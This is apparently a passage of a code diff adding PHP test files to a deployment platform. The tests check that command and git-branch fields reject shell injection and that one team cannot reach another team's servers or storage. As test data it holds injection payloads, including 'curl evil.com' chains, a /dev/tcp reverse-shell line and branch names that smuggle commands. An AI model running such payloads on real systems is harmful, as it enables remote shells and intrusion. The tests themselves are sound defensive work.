})->with(['echo \\;', 'echo \\$HOME']);
|
||||
|
||||
test('runtime validateShellSafeCommand rejects bare ampersand payload', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$method = $job->getMethod('validateShellSafeCommand');
|
||||
$method->setAccessible(true);
|
||||
|
||||
$instance = $job->newInstanceWithoutConstructor();
|
||||
|
||||
expect(fn () => $method->invoke($instance, 'true & whoami', 'docker_compose_custom_start_command'))
|
||||
->toThrow(RuntimeException::class, 'contains forbidden shell characters');
|
||||
});
|
||||
|
||||
test('allows logical OR chaining', function ($cmd) {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['build_command' => $cmd],
|
||||
['build_command' => $rules['build_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with([
|
||||
'make build || make clean',
|
||||
'npm run build || npm run fallback',
|
||||
'cmd-a || cmd-b && cmd-c',
|
||||
]);
|
||||
|
||||
test('allows glob and bang tokens', function ($cmd) {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['build_command' => $cmd],
|
||||
['build_command' => $rules['build_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with([
|
||||
'rm *.tmp',
|
||||
'cp src/?.js dist/',
|
||||
'! grep -q foo && echo missing',
|
||||
'docker build --tag app-v1!',
|
||||
]);
|
||||
|
||||
test('rejects bare pipe even though || is allowed', function ($cmd) {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['build_command' => $cmd],
|
||||
['build_command' => $rules['build_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
})->with([
|
||||
'cmd | cat',
|
||||
'cmd|cat',
|
||||
'a |b',
|
||||
'a| b',
|
||||
]);
|
||||
});
|
||||
|
||||
describe('custom_docker_run_options validation', function () {
|
||||
@@ -512,6 +730,10 @@ describe('custom_docker_run_options validation', function () {
|
||||
'--cap-add=NET_ADMIN --cap-add=NET_RAW',
|
||||
'--privileged --init',
|
||||
'--memory=512m --cpus=2',
|
||||
'--entrypoint "sh -c \'npm start\'"',
|
||||
'--entrypoint "sh -c \'php artisan schedule:work\'"',
|
||||
'--hostname "my-host"',
|
||||
'--dns 10.0.0.10 --dns=1.1.1.1',
|
||||
]);
|
||||
});
|
||||
|
||||
@@ -672,3 +894,228 @@ describe('API route middleware for deploy actions', function () {
|
||||
expect($middleware)->toContain('api.ability:deploy');
|
||||
});
|
||||
});
|
||||
|
||||
describe('install/build/start command validation', function () {
|
||||
test('rejects semicolon injection in install_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['install_command' => 'npm install; curl evil.com'],
|
||||
['install_command' => $rules['install_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects pipe injection in build_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['build_command' => 'npm run build | curl evil.com'],
|
||||
['build_command' => $rules['build_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects command substitution in start_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['start_command' => 'npm start $(whoami)'],
|
||||
['start_command' => $rules['start_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects backtick injection in install_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['install_command' => 'npm install `whoami`'],
|
||||
['install_command' => $rules['install_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects dollar sign in build_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['build_command' => 'npm run build $HOME'],
|
||||
['build_command' => $rules['build_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects reverse shell payload in install_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['install_command' => '"; bash -i >& /dev/tcp/172.23.0.1/1337 0>&1; #'],
|
||||
['install_command' => $rules['install_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects newline injection in start_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['start_command' => "npm start\ncurl evil.com"],
|
||||
['start_command' => $rules['start_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('allows valid install commands', function ($cmd) {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['install_command' => $cmd],
|
||||
['install_command' => $rules['install_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with([
|
||||
'npm install',
|
||||
'yarn install --frozen-lockfile',
|
||||
'pip install -r requirements.txt',
|
||||
'bun install',
|
||||
'pnpm install --no-frozen-lockfile',
|
||||
]);
|
||||
|
||||
test('allows valid build commands', function ($cmd) {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['build_command' => $cmd],
|
||||
['build_command' => $rules['build_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with([
|
||||
'npm run build',
|
||||
'cargo build --release',
|
||||
'go build -o main .',
|
||||
'yarn build && yarn postbuild',
|
||||
'make build',
|
||||
]);
|
||||
|
||||
test('allows valid start commands', function ($cmd) {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['start_command' => $cmd],
|
||||
['start_command' => $rules['start_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with([
|
||||
'npm start',
|
||||
'node server.js',
|
||||
'python main.py',
|
||||
'java -jar app.jar',
|
||||
'./start.sh',
|
||||
]);
|
||||
|
||||
test('allows null values for command fields', function ($field) {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
[$field => null],
|
||||
[$field => $rules[$field]]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with(['install_command', 'build_command', 'start_command']);
|
||||
});
|
||||
|
||||
describe('install/build/start command rules survive array_merge in controller', function () {
|
||||
test('install_command safe regex is not overridden by local rules', function () {
|
||||
$sharedRules = sharedDataApplications();
|
||||
|
||||
$localRules = [
|
||||
'name' => 'string|max:255',
|
||||
'docker_compose_domains' => 'array|nullable',
|
||||
];
|
||||
$merged = array_merge($sharedRules, $localRules);
|
||||
|
||||
expect($merged['install_command'])->toBeArray();
|
||||
expect($merged['install_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
|
||||
});
|
||||
|
||||
test('build_command safe regex is not overridden by local rules', function () {
|
||||
$sharedRules = sharedDataApplications();
|
||||
|
||||
$localRules = [
|
||||
'name' => 'string|max:255',
|
||||
'docker_compose_domains' => 'array|nullable',
|
||||
];
|
||||
$merged = array_merge($sharedRules, $localRules);
|
||||
|
||||
expect($merged['build_command'])->toBeArray();
|
||||
expect($merged['build_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
|
||||
});
|
||||
|
||||
test('start_command safe regex is not overridden by local rules', function () {
|
||||
$sharedRules = sharedDataApplications();
|
||||
|
||||
$localRules = [
|
||||
'name' => 'string|max:255',
|
||||
'docker_compose_domains' => 'array|nullable',
|
||||
];
|
||||
$merged = array_merge($sharedRules, $localRules);
|
||||
|
||||
expect($merged['start_command'])->toBeArray();
|
||||
expect($merged['start_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
|
||||
});
|
||||
});
|
||||
|
||||
describe('git_branch validation rules survive array_merge in controller', function () {
|
||||
test('git_branch uses ValidGitBranch in shared application rules', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
expect($rules['git_branch'])->toBeArray();
|
||||
expect(collect($rules['git_branch'])->contains(fn ($rule) => $rule instanceof ValidGitBranch))->toBeTrue();
|
||||
});
|
||||
|
||||
test('git_branch rejects shell metacharacter payloads', function (string $payload) {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['git_branch' => $payload],
|
||||
['git_branch' => $rules['git_branch']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
})->with([
|
||||
'semicolon command separator' => 'main;touch /tmp/pwned;#',
|
||||
'command substitution' => 'main$(touch /tmp/pwned)',
|
||||
'backtick substitution' => 'main`touch /tmp/pwned`',
|
||||
'pipe operator' => 'main|id',
|
||||
'newline injection' => "main\ntouch /tmp/pwned",
|
||||
'redirect operator' => 'main>/tmp/pwned',
|
||||
'single quote breakout' => "main';id;#",
|
||||
]);
|
||||
|
||||
test('git_branch accepts safe branch names', function (string $branch) {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['git_branch' => $branch],
|
||||
['git_branch' => $rules['git_branch']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with([
|
||||
'main',
|
||||
'feature/my-branch',
|
||||
'release_1.2.3',
|
||||
]);
|
||||
});
|
||||
@@ -17,6 +17,7 @@ it('populates fqdn from docker_compose_domains after generate_preview_fqdn_compo
|
||||
$preview = ApplicationPreview::create([
|
||||
'application_id' => $application->id,
|
||||
'pull_request_id' => 42,
|
||||
'pull_request_html_url' => 'https://github.com/example/repo/pull/42',
|
||||
'docker_compose_domains' => $application->docker_compose_domains,
|
||||
]);
|
||||
|
||||
@@ -41,6 +42,7 @@ it('populates fqdn with multiple domains from multiple services', function () {
|
||||
$preview = ApplicationPreview::create([
|
||||
'application_id' => $application->id,
|
||||
'pull_request_id' => 7,
|
||||
'pull_request_html_url' => 'https://github.com/example/repo/pull/7',
|
||||
'docker_compose_domains' => $application->docker_compose_domains,
|
||||
]);
|
||||
|
||||
@@ -66,6 +68,7 @@ it('sets fqdn to null when no domains are configured', function () {
|
||||
$preview = ApplicationPreview::create([
|
||||
'application_id' => $application->id,
|
||||
'pull_request_id' => 99,
|
||||
'pull_request_html_url' => 'https://github.com/example/repo/pull/99',
|
||||
'docker_compose_domains' => $application->docker_compose_domains,
|
||||
]);
|
||||
|
||||
|
||||
@@ -60,3 +60,47 @@ test('convertGitUrlsForSourceAndSshUrlWithCustomPort', function () {
|
||||
'port' => '766',
|
||||
]);
|
||||
});
|
||||
|
||||
test('convertGitUrlsForSourceAndSshUrlSchemeWithCustomPort', function () {
|
||||
$result = convertGitUrl('ssh://git@192.168.56.11:22222/User/Repo.git', 'source', null);
|
||||
expect($result)->toBe([
|
||||
'repository' => 'ssh://git@192.168.56.11:22222/User/Repo.git',
|
||||
'port' => '22222',
|
||||
]);
|
||||
});
|
||||
|
||||
test('convertGitUrlsForSourceAndSshUrlSchemeWithCustomPortAndIpv6Host', function () {
|
||||
$result = convertGitUrl('ssh://git@[2001:db8::10]:22222/group/project.git', 'source', null);
|
||||
expect($result)->toBe([
|
||||
'repository' => 'ssh://git@[2001:db8::10]:22222/group/project.git',
|
||||
'port' => '22222',
|
||||
]);
|
||||
});
|
||||
|
||||
test('convertGitUrlsForDeployKeyAndGithubAppWithCustomPort', function () {
|
||||
$githubApp = new GithubApp([
|
||||
'html_url' => 'https://github.example.com',
|
||||
'custom_user' => 'git',
|
||||
'custom_port' => 22222,
|
||||
]);
|
||||
|
||||
$result = convertGitUrl('andrasbacsai/coolify-examples.git', 'deploy_key', $githubApp);
|
||||
expect($result)->toBe([
|
||||
'repository' => 'ssh://git@github.example.com:22222/andrasbacsai/coolify-examples.git',
|
||||
'port' => '22222',
|
||||
]);
|
||||
});
|
||||
|
||||
test('convertGitUrlsForDeployKeyAndGithubAppWithCustomPortAndIpv6Host', function () {
|
||||
$githubApp = new GithubApp([
|
||||
'html_url' => 'https://[2001:db8::10]',
|
||||
'custom_user' => 'git',
|
||||
'custom_port' => 22222,
|
||||
]);
|
||||
|
||||
$result = convertGitUrl('andrasbacsai/coolify-examples.git', 'deploy_key', $githubApp);
|
||||
expect($result)->toBe([
|
||||
'repository' => 'ssh://git@[2001:db8::10]:22222/andrasbacsai/coolify-examples.git',
|
||||
'port' => '22222',
|
||||
]);
|
||||
});
|
||||
@@ -0,0 +1,138 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Database\CreateScheduledBackup;
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\S3Storage;
|
||||
use App\Models\ScheduledDatabaseBackup;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\StandalonePostgresql;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
function createDatabaseForScheduledBackupTest(Team $team): StandalonePostgresql
|
||||
{
|
||||
$server = Server::factory()->create(['team_id' => $team->id]);
|
||||
$destination = StandaloneDocker::where('server_id', $server->id)->firstOrFail();
|
||||
$project = Project::factory()->create(['team_id' => $team->id]);
|
||||
$environment = Environment::factory()->create(['project_id' => $project->id]);
|
||||
|
||||
return StandalonePostgresql::create([
|
||||
'name' => 'pg-scheduled-backup-validation',
|
||||
'image' => 'postgres:16-alpine',
|
||||
'postgres_user' => 'postgres',
|
||||
'postgres_password' => 'password',
|
||||
'postgres_db' => 'postgres',
|
||||
'environment_id' => $environment->id,
|
||||
'destination_id' => $destination->id,
|
||||
'destination_type' => $destination->getMorphClass(),
|
||||
]);
|
||||
}
|
||||
|
||||
function createS3StorageForTeam(Team $team, string $name = 'Test S3'): S3Storage
|
||||
{
|
||||
return S3Storage::create([
|
||||
'name' => $name,
|
||||
'region' => 'us-east-1',
|
||||
'key' => 'test-key',
|
||||
'secret' => 'test-secret',
|
||||
'bucket' => 'test-bucket',
|
||||
'endpoint' => 'https://s3.example.com',
|
||||
'is_usable' => true,
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
}
|
||||
|
||||
beforeEach(function () {
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->user->teams()->attach($this->team, ['role' => 'owner']);
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
});
|
||||
|
||||
it('rejects enabling S3 backup without a selected S3 storage', function () {
|
||||
$database = createDatabaseForScheduledBackupTest($this->team);
|
||||
|
||||
Livewire::test(CreateScheduledBackup::class, ['database' => $database])
|
||||
->set('frequency', '0 0 * * *')
|
||||
->set('saveToS3', true)
|
||||
->set('s3StorageId', null)
|
||||
->call('submit')
|
||||
->assertDispatched('error');
|
||||
|
||||
expect(ScheduledDatabaseBackup::count())->toBe(0);
|
||||
});
|
||||
|
||||
it('rejects an S3 storage not owned by the current team', function () {
|
||||
$database = createDatabaseForScheduledBackupTest($this->team);
|
||||
|
||||
$foreignS3 = createS3StorageForTeam(Team::factory()->create(), 'Foreign S3');
|
||||
|
||||
Livewire::test(CreateScheduledBackup::class, ['database' => $database])
|
||||
->set('frequency', '0 0 * * *')
|
||||
->set('saveToS3', true)
|
||||
->set('s3StorageId', $foreignS3->id)
|
||||
->call('submit')
|
||||
->assertDispatched('error');
|
||||
|
||||
expect(ScheduledDatabaseBackup::count())->toBe(0);
|
||||
});
|
||||
|
||||
it('rejects an S3 storage that is reassigned after the component is mounted', function () {
|
||||
$database = createDatabaseForScheduledBackupTest($this->team);
|
||||
$s3 = createS3StorageForTeam($this->team);
|
||||
|
||||
$component = Livewire::test(CreateScheduledBackup::class, ['database' => $database])
|
||||
->set('frequency', '0 0 * * *')
|
||||
->set('saveToS3', true)
|
||||
->set('s3StorageId', $s3->id);
|
||||
|
||||
$s3->update(['team_id' => Team::factory()->create()->id]);
|
||||
|
||||
$component
|
||||
->call('submit')
|
||||
->assertDispatched('error');
|
||||
|
||||
expect(ScheduledDatabaseBackup::count())->toBe(0);
|
||||
});
|
||||
|
||||
it('rejects an S3 storage that becomes unusable after the component is mounted', function () {
|
||||
$database = createDatabaseForScheduledBackupTest($this->team);
|
||||
$s3 = createS3StorageForTeam($this->team);
|
||||
|
||||
$component = Livewire::test(CreateScheduledBackup::class, ['database' => $database])
|
||||
->set('frequency', '0 0 * * *')
|
||||
->set('saveToS3', true)
|
||||
->set('s3StorageId', $s3->id);
|
||||
|
||||
$s3->update(['is_usable' => false]);
|
||||
|
||||
$component
|
||||
->call('submit')
|
||||
->assertDispatched('error');
|
||||
|
||||
expect(ScheduledDatabaseBackup::count())->toBe(0);
|
||||
});
|
||||
|
||||
it('creates a scheduled backup with a valid team-owned S3 storage', function () {
|
||||
$database = createDatabaseForScheduledBackupTest($this->team);
|
||||
$s3 = createS3StorageForTeam($this->team);
|
||||
|
||||
Livewire::test(CreateScheduledBackup::class, ['database' => $database])
|
||||
->set('frequency', '0 0 * * *')
|
||||
->set('saveToS3', true)
|
||||
->set('s3StorageId', $s3->id)
|
||||
->call('submit')
|
||||
->assertDispatched('refreshScheduledBackups');
|
||||
|
||||
$backup = ScheduledDatabaseBackup::first();
|
||||
expect($backup)->not->toBeNull();
|
||||
expect($backup->save_s3)->toBeTruthy();
|
||||
expect($backup->s3_storage_id)->toBe($s3->id);
|
||||
});
|
||||
@@ -0,0 +1,232 @@
|
||||
<?php
|
||||
|
||||
use App\Actions\Docker\GetContainersStatus;
|
||||
use App\Livewire\Project\Shared\Destination;
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Queue;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
Queue::fake();
|
||||
|
||||
InstanceSettings::unguarded(fn () => InstanceSettings::query()->create(['id' => 0]));
|
||||
|
||||
// Attacker: Team A
|
||||
$this->userA = User::factory()->create();
|
||||
$this->teamA = Team::factory()->create();
|
||||
$this->userA->teams()->attach($this->teamA, ['role' => 'owner']);
|
||||
|
||||
$this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]);
|
||||
$this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]);
|
||||
$this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]);
|
||||
$this->destinationA = StandaloneDocker::factory()->create([
|
||||
'server_id' => $this->serverA->id,
|
||||
'name' => 'dest-a-'.fake()->unique()->word(),
|
||||
'network' => 'coolify-a-'.fake()->unique()->word(),
|
||||
]);
|
||||
|
||||
$this->applicationA = Application::factory()->create([
|
||||
'environment_id' => $this->environmentA->id,
|
||||
'destination_id' => $this->destinationA->id,
|
||||
'destination_type' => StandaloneDocker::class,
|
||||
]);
|
||||
|
||||
// A second usable destination on Team A's own server, used for positive-path tests.
|
||||
$this->serverA2 = Server::factory()->create(['team_id' => $this->teamA->id]);
|
||||
$this->destinationA2 = StandaloneDocker::factory()->create([
|
||||
'server_id' => $this->serverA2->id,
|
||||
'name' => 'dest-a2-'.fake()->unique()->word(),
|
||||
'network' => 'coolify-a2-'.fake()->unique()->word(),
|
||||
]);
|
||||
|
||||
// Victim: Team B
|
||||
$this->userB = User::factory()->create();
|
||||
$this->teamB = Team::factory()->create();
|
||||
$this->userB->teams()->attach($this->teamB, ['role' => 'owner']);
|
||||
|
||||
$this->serverB = Server::factory()->create(['team_id' => $this->teamB->id]);
|
||||
$this->destinationB = StandaloneDocker::factory()->create([
|
||||
'server_id' => $this->serverB->id,
|
||||
'name' => 'dest-b-'.fake()->unique()->word(),
|
||||
'network' => 'coolify-b-'.fake()->unique()->word(),
|
||||
]);
|
||||
|
||||
// Act as attacker (Team A)
|
||||
$this->actingAs($this->userA);
|
||||
session(['currentTeam' => $this->teamA]);
|
||||
});
|
||||
|
||||
afterEach(function () {
|
||||
GetContainersStatus::clearFake();
|
||||
});
|
||||
|
||||
describe('Destination::addServer GHSA-j395-3pqh-9r5g', function () {
|
||||
test('cannot attach another team\'s server + network to own application', function () {
|
||||
try {
|
||||
Livewire::test(Destination::class, ['resource' => $this->applicationA])
|
||||
->call('addServer', $this->destinationB->id, $this->serverB->id);
|
||||
} catch (Throwable $e) {
|
||||
// handleError on ModelNotFoundException calls abort(404); pivot assertion is source of truth.
|
||||
}
|
||||
|
||||
expect($this->applicationA->fresh()->additional_networks)->toHaveCount(0);
|
||||
expect($this->applicationA->fresh()->additional_servers)->toHaveCount(0);
|
||||
});
|
||||
|
||||
test('cannot attach own network paired with another team\'s server', function () {
|
||||
try {
|
||||
Livewire::test(Destination::class, ['resource' => $this->applicationA])
|
||||
->call('addServer', $this->destinationA2->id, $this->serverB->id);
|
||||
} catch (Throwable $e) {
|
||||
}
|
||||
|
||||
expect($this->applicationA->fresh()->additional_networks)->toHaveCount(0);
|
||||
});
|
||||
|
||||
test('cannot attach another team\'s network paired with own server', function () {
|
||||
try {
|
||||
Livewire::test(Destination::class, ['resource' => $this->applicationA])
|
||||
->call('addServer', $this->destinationB->id, $this->serverA2->id);
|
||||
} catch (Throwable $e) {
|
||||
}
|
||||
|
||||
expect($this->applicationA->fresh()->additional_networks)->toHaveCount(0);
|
||||
});
|
||||
|
||||
test('cannot attach own network paired with wrong own server', function () {
|
||||
try {
|
||||
Livewire::test(Destination::class, ['resource' => $this->applicationA])
|
||||
->call('addServer', $this->destinationA2->id, $this->serverA->id);
|
||||
} catch (Throwable $e) {
|
||||
}
|
||||
|
||||
expect($this->applicationA->fresh()->additional_networks)->toHaveCount(0);
|
||||
});
|
||||
|
||||
test('can attach own team\'s server + network to own application', function () {
|
||||
Livewire::test(Destination::class, ['resource' => $this->applicationA])
|
||||
->call('addServer', $this->destinationA2->id, $this->serverA2->id);
|
||||
|
||||
$additional = $this->applicationA->fresh()->additional_networks;
|
||||
expect($additional)->toHaveCount(1);
|
||||
expect($additional->first()->id)->toBe($this->destinationA2->id);
|
||||
expect($additional->first()->pivot->server_id)->toBe($this->serverA2->id);
|
||||
});
|
||||
});
|
||||
|
||||
describe('Destination::promote GHSA-j395-3pqh-9r5g', function () {
|
||||
test('cannot promote another team\'s network as the application\'s main destination', function () {
|
||||
$originalDestinationId = $this->applicationA->destination_id;
|
||||
|
||||
try {
|
||||
Livewire::test(Destination::class, ['resource' => $this->applicationA])
|
||||
->call('promote', $this->destinationB->id, $this->serverB->id);
|
||||
} catch (Throwable $e) {
|
||||
}
|
||||
|
||||
expect($this->applicationA->fresh()->destination_id)->toBe($originalDestinationId);
|
||||
});
|
||||
|
||||
test('cannot promote own network paired with wrong own server', function () {
|
||||
$originalDestinationId = $this->applicationA->destination_id;
|
||||
|
||||
try {
|
||||
Livewire::test(Destination::class, ['resource' => $this->applicationA])
|
||||
->call('promote', $this->destinationA2->id, $this->serverA->id);
|
||||
} catch (Throwable $e) {
|
||||
}
|
||||
|
||||
expect($this->applicationA->fresh()->destination_id)->toBe($originalDestinationId);
|
||||
});
|
||||
|
||||
test('can promote own team network and preserve previous main as additional network', function () {
|
||||
$this->applicationA->additional_networks()->attach($this->destinationA2->id, ['server_id' => $this->serverA2->id]);
|
||||
|
||||
Livewire::test(Destination::class, ['resource' => $this->applicationA])
|
||||
->call('promote', $this->destinationA2->id, $this->serverA2->id);
|
||||
|
||||
$application = $this->applicationA->fresh();
|
||||
$additional = $application->additional_networks;
|
||||
|
||||
expect($application->destination_id)->toBe($this->destinationA2->id);
|
||||
expect($additional)->toHaveCount(1);
|
||||
expect($additional->first()->id)->toBe($this->destinationA->id);
|
||||
expect($additional->first()->pivot->server_id)->toBe($this->serverA->id);
|
||||
});
|
||||
|
||||
test('refresh failures after promote do not roll back promoted destination', function () {
|
||||
$this->applicationA->additional_networks()->attach($this->destinationA2->id, ['server_id' => $this->serverA2->id]);
|
||||
|
||||
GetContainersStatus::shouldRun()
|
||||
->once()
|
||||
->andThrow(new RuntimeException('refresh failed'));
|
||||
|
||||
try {
|
||||
Livewire::test(Destination::class, ['resource' => $this->applicationA])
|
||||
->call('promote', $this->destinationA2->id, $this->serverA2->id);
|
||||
} catch (Throwable $e) {
|
||||
// The refresh failure is intentionally outside the transaction; persistence is the assertion.
|
||||
}
|
||||
|
||||
$application = $this->applicationA->fresh();
|
||||
$additional = $application->additional_networks;
|
||||
|
||||
expect($application->destination_id)->toBe($this->destinationA2->id);
|
||||
expect($additional)->toHaveCount(1);
|
||||
expect($additional->first()->id)->toBe($this->destinationA->id);
|
||||
expect($additional->first()->pivot->server_id)->toBe($this->serverA->id);
|
||||
});
|
||||
|
||||
test('only detaches the promoted network for the selected pivot server', function () {
|
||||
$this->applicationA->additional_networks()->attach($this->destinationA2->id, ['server_id' => $this->serverA2->id]);
|
||||
$this->applicationA->additional_networks()->attach($this->destinationA2->id, ['server_id' => $this->serverA->id]);
|
||||
|
||||
Livewire::test(Destination::class, ['resource' => $this->applicationA])
|
||||
->call('promote', $this->destinationA2->id, $this->serverA2->id);
|
||||
|
||||
expect(DB::table('additional_destinations')
|
||||
->where('application_id', $this->applicationA->id)
|
||||
->where('standalone_docker_id', $this->destinationA2->id)
|
||||
->where('server_id', $this->serverA->id)
|
||||
->exists())->toBeTrue();
|
||||
|
||||
expect(DB::table('additional_destinations')
|
||||
->where('application_id', $this->applicationA->id)
|
||||
->where('standalone_docker_id', $this->destinationA2->id)
|
||||
->where('server_id', $this->serverA2->id)
|
||||
->exists())->toBeFalse();
|
||||
});
|
||||
});
|
||||
|
||||
describe('Destination::removeServer', function () {
|
||||
test('only detaches the removed network for the selected pivot server', function () {
|
||||
$this->applicationA->additional_networks()->attach($this->destinationA2->id, ['server_id' => $this->serverA2->id]);
|
||||
$this->applicationA->additional_networks()->attach($this->destinationA2->id, ['server_id' => $this->serverA->id]);
|
||||
|
||||
Livewire::test(Destination::class, ['resource' => $this->applicationA])
|
||||
->call('removeServer', $this->destinationA2->id, $this->serverA2->id, 'password');
|
||||
|
||||
expect(DB::table('additional_destinations')
|
||||
->where('application_id', $this->applicationA->id)
|
||||
->where('standalone_docker_id', $this->destinationA2->id)
|
||||
->where('server_id', $this->serverA->id)
|
||||
->exists())->toBeTrue();
|
||||
|
||||
expect(DB::table('additional_destinations')
|
||||
->where('application_id', $this->applicationA->id)
|
||||
->where('standalone_docker_id', $this->destinationA2->id)
|
||||
->where('server_id', $this->serverA2->id)
|
||||
->exists())->toBeFalse();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,186 @@
|
||||
<?php
|
||||
|
||||
use App\Enums\ApplicationDeploymentStatus;
|
||||
use App\Livewire\Boarding\Index as BoardingIndex;
|
||||
use App\Livewire\GlobalSearch;
|
||||
use App\Livewire\Project\CloneMe;
|
||||
use App\Livewire\Project\DeleteProject;
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationDeploymentQueue;
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Database\Eloquent\ModelNotFoundException;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
// Attacker: Team A
|
||||
$this->userA = User::factory()->create();
|
||||
$this->teamA = Team::factory()->create();
|
||||
$this->userA->teams()->attach($this->teamA, ['role' => 'owner']);
|
||||
|
||||
$this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]);
|
||||
$this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]);
|
||||
$this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]);
|
||||
|
||||
// Victim: Team B
|
||||
$this->userB = User::factory()->create();
|
||||
$this->teamB = Team::factory()->create();
|
||||
$this->userB->teams()->attach($this->teamB, ['role' => 'owner']);
|
||||
|
||||
$this->serverB = Server::factory()->create(['team_id' => $this->teamB->id]);
|
||||
$this->projectB = Project::factory()->create(['team_id' => $this->teamB->id]);
|
||||
$this->environmentB = Environment::factory()->create(['project_id' => $this->projectB->id]);
|
||||
|
||||
// Act as attacker (Team A)
|
||||
$this->actingAs($this->userA);
|
||||
session(['currentTeam' => $this->teamA]);
|
||||
});
|
||||
|
||||
describe('Boarding Server IDOR', function () {
|
||||
test('boarding mount cannot load server from another team via selectedExistingServer', function () {
|
||||
$component = Livewire::test(BoardingIndex::class, [
|
||||
'selectedServerType' => 'remote',
|
||||
'selectedExistingServer' => $this->serverB->id,
|
||||
]);
|
||||
|
||||
// The server from Team B should NOT be loaded
|
||||
expect($component->get('createdServer'))->toBeNull();
|
||||
});
|
||||
|
||||
test('boarding mount can load own team server via selectedExistingServer', function () {
|
||||
$component = Livewire::test(BoardingIndex::class, [
|
||||
'selectedServerType' => 'remote',
|
||||
'selectedExistingServer' => $this->serverA->id,
|
||||
]);
|
||||
|
||||
// Own team server should load successfully
|
||||
expect($component->get('createdServer'))->not->toBeNull();
|
||||
expect($component->get('createdServer')->id)->toBe($this->serverA->id);
|
||||
});
|
||||
});
|
||||
|
||||
describe('Boarding Project IDOR', function () {
|
||||
